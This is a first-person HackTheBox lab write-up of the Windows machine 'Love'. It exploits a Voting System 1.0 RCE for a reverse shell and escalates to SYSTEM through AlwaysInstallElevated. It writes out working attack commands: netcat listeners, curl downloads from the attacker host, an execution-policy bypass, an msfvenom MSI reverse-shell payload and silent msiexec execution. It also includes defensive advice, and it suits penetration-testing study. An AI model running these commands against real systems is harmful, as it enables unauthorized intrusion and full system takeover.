OSCP Prep #25 HTB Write-Up Love
1. Target Overview
Machine Name: Love
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.48.103
Objective:
Love was a straightforward Windows machine built around a vulnerable web application and a clean privilege escalation path. The initial attack involved identifying a Voting System web application running vulnerable software, but the most valuable part of the box for me was the Windows privilege escalation. This machine introduced me to abusing the AlwaysInstallElevated registry misconfiguration by creating and executing a malicious MSI package.
Tools Used
RustScan
Nmap
NetExec
smbclient
ffuf
SearchSploit
GitHub
Python HTTP server
Netcat
rlwrap
PowerShell
PowerUp.ps1
msfvenom
msiexec
curl
Windows command-line utilities
2. Enumeration
I began the engagement with a RustScan scan against the target.
rustscan -a 10.129.48.103 -b 5000
The scan showed a fairly typical Windows attack surface. Several Windows services were exposed, including SMB and WinRM, along with multiple web services.
Notable open ports included:
80- HTTP135- MSRPC139- NetBIOS443- HTTPS445- SMB3306- MySQL5000- HTTP service5985- WinRMMultiple high RPC ports
The service information also leaked the domain name love.htb, so I added it to my /etc/hosts file.
Since SMB was exposed, I checked anonymous access first. SMB is always worth testing early on Windows targets because anonymous shares sometimes expose credentials, configuration files, backups, or other useful information.
nxc smb 10.129.48.103 -u '' -p '' --shares
The target allowed a null authentication check to complete, but share enumeration was denied.
I also tested the Guest account.
nxc smb 10.129.48.103 -u 'guest' -p '' --shares
The target showed that the Guest account was disabled.
I confirmed this behavior with smbclient as well.
smbclient -N -L //10.129.48.103/
This also failed with access denied, so SMB did not provide an easy path forward.
With SMB ruled out, I moved to web enumeration. I started with the web server on port 80. Since earlier enumeration showed that the application was using PHP, I ran directory brute forcing with PHP extensions while manually browsing the site.
ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403
Visiting the site by both IP address and love.htb returned a login page for a Voting System application.
I attempted common default credentials, but the login failed. I also tried basic SQL injection payloads in the visible input fields, but the application did not immediately respond in a useful way.
The ffuf scan returned an interesting discovery:
/admin/
When I browsed to /admin/, I found another login page.
I repeated the same basic credential and SQL injection checks there, but they were unsuccessful as well.
At first, the application looked like custom HackTheBox software because the site was plain and minimal. To be thorough, I searched for known exploits related to Voting System.
searchsploit voting system
This returned several public exploits for Voting System 1.0, including authentication bypass, SQL injection, and remote code execution vulnerabilities.
Further research led me to a public GitHub repository for an unauthenticated RCE exploit against Voting System 1.0.
The exploit chained SQL injection authentication bypass behavior with an authenticated file upload/RCE path. This became the clear exploitation path.
3. Exploitation
After identifying the Voting System 1.0 unauthenticated RCE exploit, I cloned or downloaded the exploit script and prepared a listener.
rlwrap nc -nvlp 9001
Then I ran the exploit against the target.
python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001
The exploit successfully logged into the application, uploaded the payload, and triggered execution.
I received a reverse shell back from the target.
connect to [10.10.15.205] from (UNKNOWN) [10.129.48.103]
Microsoft Windows [Version 10.0.19042.867]
I confirmed my current user.
whoami
love\phoebe
The shell landed in the web application directory:
C:\xampp\htdocs\omrs\images>
At this point, I had initial access as the low-privileged user phoebe.
4. Privilege Escalation
I began local privilege escalation enumeration by identifying the current user and checking the user’s privileges.
whoami /all
The user was love\phoebe. The token did not show any obvious high-impact privileges that could be abused directly. The user was a member of common groups such as Users, Authenticated Users, and Remote Management Users, but nothing immediately gave me administrative control.
Next, I listed local users.
net user
There were no extra obvious local users to pivot into.
I then checked for AutoLogon credentials in the Windows registry.
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
This did not reveal stored credentials.
After that, I checked the user directories for interesting files.
tree /f /a C:\Users
I found user.txt under Phoebe’s Desktop, but nothing else useful for privilege escalation.
I also reviewed the web directories because the initial foothold came from XAMPP. Web directories are worth checking because administrators sometimes leave database credentials, configuration files, backups, or plaintext passwords inside application folders. In this case, I did not find useful credentials in the XAMPP web root.
Next, I checked listening network services.
netstat -ano | findstr TCP | findstr "0:"
Several services were listening, but nothing immediately stood out as a clear local privilege escalation vector.
At this point, I decided to run PowerUp to look for common Windows privilege escalation misconfigurations I may have missed manually. I hosted the script from my Kali machine.
python3 -m http.server 80
Then I downloaded it to the target.
curl 10.10.15.205/pup.ps1 -o pup.ps1
When I tried to load the script, PowerShell script execution was restricted. This was a useful learning point because I learned how to bypass the restriction for the current PowerShell process without changing the system permanently.
Set-ExecutionPolicy -Scope Process RemoteSigned
The important part is -Scope Process. This applies the execution policy change only to the current PowerShell session. It does not permanently weaken the host’s policy. After that, I loaded PowerUp and ran its checks.
PowerUp identified the key privilege escalation path:
This meant the target was vulnerable to AlwaysInstallElevated abuse.
AlwaysInstallElevated is a Windows Installer policy controlled by registry keys. When it is enabled in both the machine and user policy locations, Windows allows MSI installer packages to run with elevated privileges. That is dangerous because MSI files are not just normal archives or setup files. An MSI package can contain installation logic, file writes, registry changes, and custom actions.
In a secure configuration, a low-privileged user should not be able to install arbitrary software with administrative rights. But when AlwaysInstallElevated is enabled incorrectly, a low-privileged user can create or upload a malicious MSI package and execute it through msiexec. Windows then runs the installer with elevated privileges, allowing the payload inside the MSI to execute as NT AUTHORITY\SYSTEM.
In plain terms, the system was configured to trust MSI installers too much. Since I could write a malicious MSI and run it, I could turn that installer behavior into privilege escalation.
I created a malicious MSI reverse shell payload with msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64
Then I hosted it from my Kali machine and downloaded it to the target.
I started a listener for the MSI payload.
Finally, I executed the MSI package with msiexec.
msiexec /quiet /qn /i rev.msi
The options made the install run silently:
/itells Windows Installer to install the MSI package./quietsuppresses user interaction./qnruns with no GUI.
The payload executed successfully, and I received a reverse shell as NT AUTHORITY\SYSTEM.
This completed the privilege escalation path.
5. Lessons Learned
1. SMB should still be checked early even when it does not immediately pay off
SMB did not expose shares or useful files on this box, but checking it early was still the right move. Anonymous SMB access can lead to straightforward wins on Windows machines, so it made sense to rule it out before spending more time on the web application.
2. Plain-looking web applications may still be public software
The Voting System application looked simple enough that it could have been custom HTB software. Searching for known exploits proved that it was a real vulnerable application with public exploit code available. This reinforced the importance of checking application names with tools like searchsploit instead of assuming every simple interface is custom-built.
3. Web exploitation often comes from chaining smaller weaknesses
The exploit path was not just “visit one URL and get a shell.” The public exploit chained application weaknesses together, using SQL injection/authentication bypass behavior to reach functionality that allowed code execution. That is a useful reminder that web exploitation often depends on how multiple flaws interact.
4. Execution policy is not the same thing as real security control
The PowerShell execution policy initially blocked external script execution, but Set-ExecutionPolicy -Scope Process RemoteSigned allowed me to bypass it for the current session. This taught me that execution policy is more of a safety feature than a true security boundary.
5. AlwaysInstallElevated is a high-impact Windows misconfiguration
The biggest takeaway from Love was learning how dangerous AlwaysInstallElevated can be. If both required registry keys are enabled, a low-privileged user can execute a malicious MSI package with elevated privileges and become SYSTEM.
6. MSI files are more powerful than normal installers
Before this box, I understood MSI files mostly as Windows installation packages. Love made it clear that MSI files can contain custom actions that execute code. When Windows runs that MSI with elevated privileges, the custom action becomes a privilege escalation mechanism.
6. Defensive Insight
1. Patch public-facing web applications
The initial compromise came from vulnerable Voting System software exposed through the web server. Defenders should maintain an accurate software inventory, patch known vulnerable applications, and remove unsupported software from production environments.
2. Do not expose unnecessary services
The target exposed several services, including SMB, WinRM, MySQL, and multiple web ports. Even when some services are properly locked down, each exposed service increases the attack surface and gives attackers more enumeration opportunities.
3. Disable AlwaysInstallElevated unless there is a strict business needAlwaysInstallElevated should not be enabled in normal environments. If both the HKCU and HKLM policy values are set, low-privileged users may be able to execute MSI packages with elevated privileges.
4. Monitor suspicious MSI creation and execution
Defenders should watch for MSI files created or executed from user-writable locations such as C:\Users, C:\ProgramData, temporary directories, or web application directories. Silent MSI execution using msiexec /quiet or /qn should also be treated as suspicious when performed by low-privileged users.
5. Treat PowerShell execution policy as weak protection
Execution policy should not be relied on as a security boundary. Attackers can often bypass it per process. Stronger controls such as AppLocker, Windows Defender Application Control, constrained language mode, and proper EDR monitoring are more meaningful defenses.
Useful Commands
RustScan initial scan
rustscan -a 10.129.48.103 -b 5000
Anonymous SMB share enumeration with NetExec
nxc smb 10.129.48.103 -u '' -p '' --shares
Guest SMB enumeration attempt
nxc smb 10.129.48.103 -u 'guest' -p '' --shares
Anonymous SMB enumeration with smbclient
smbclient -N -L //10.129.48.103/
Web directory brute force with PHP extension
ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403
Search for public Voting System exploits
searchsploit voting system
Run the Voting System unauthenticated RCE exploit
python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001
Catch the initial reverse shell
rlwrap nc -nvlp 9001
Check current Windows user
whoami
Check user privileges and group membership
whoami /all
List local users
net user
Check for AutoLogon registry credentials
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Recursively list user directories
tree /f /a C:\Users
Check listening TCP services
netstat -ano | findstr TCP | findstr "0:"
Host files from Kali
python3 -m http.server 80
Download PowerUp to the target
curl 10.10.15.205/pup.ps1 -o pup.ps1
Bypass PowerShell execution policy for the current process
Set-ExecutionPolicy -Scope Process RemoteSigned
Load and run PowerUp checks
.\pup.ps1
Invoke-AllChecks
Create malicious MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64
Download malicious MSI to the target
curl 10.10.15.205/rev.msi -o rev.msi
Catch SYSTEM reverse shell
rlwrap nc -nvlp 7777
Execute MSI payload silently
msiexec /quiet /qn /i rev.msi
